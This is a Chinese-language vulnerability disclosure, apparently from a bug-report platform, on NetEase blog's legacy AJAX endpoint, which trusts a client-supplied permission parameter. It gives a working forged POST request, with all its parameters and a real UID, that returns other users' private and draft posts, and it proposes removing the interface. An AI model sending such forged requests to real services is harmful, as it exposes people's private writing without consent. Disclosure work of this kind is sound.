簡要描述:該漏洞可造成用戶博客中加密日志(好友可見、私人可見)以及日志草稿泄露。
詳細說明:網易博客日志模塊的AJAX請求接口通過URL參數傳遞用戶等級(訪客、好友、博主),并且不會對該參數進行判斷,通過偽造請求即刻得到原本只有好友可見或者博主私人可見的日志。而且任何情況下該接口都會返回以草稿保存的日志,僅通過前端判斷不予顯示。
漏洞證明:以博客小管(http://blog.163.com/blog_admin)為例。通過其首頁可得其的UID:721279。
向以下地址發起HTTP POST請求:
http://api.blog.163.com/dwr/call/plaincall/BlogBean.getBlogs.dwr
POST參數:
callCount=1
scriptSessionId=${scriptSessionId}187
c0-scriptName=BlogBean
c0-methodName=getBlogs
c0-id=0
c0-param0:number=260
c0-param1:number=20
c0-param2:number=721279
c0-param3:boolean=false
c0-param4:number=10000
c0-param5:boolean=false
c0-param6:boolean=false
batchId=687303
其中param0和param1分別是數量和起始點(這里只獲取第260-280篇日志),param2是UID,param4是權限,10000代表博主(最高級)。
返回的是JSONP封裝的數據,簡單解析后可以發現其中有一篇在日志列表中不會出現的標題(title)為《貼出真實,秀出精彩-博客自拍之星》的日志,它的地址是http://blog.163.com/blog_admin/blog/static/72127920072276191481,allowView:10000表示它是博主私人可見,content即為該日志的內容。
修復方案:BlogBean.getBlogs.dwr是舊版博客里的AJAX接口,新版已經升級為BlogBeanNew.getBlogs.dwr且沒有此漏洞。建議刪除舊版接口。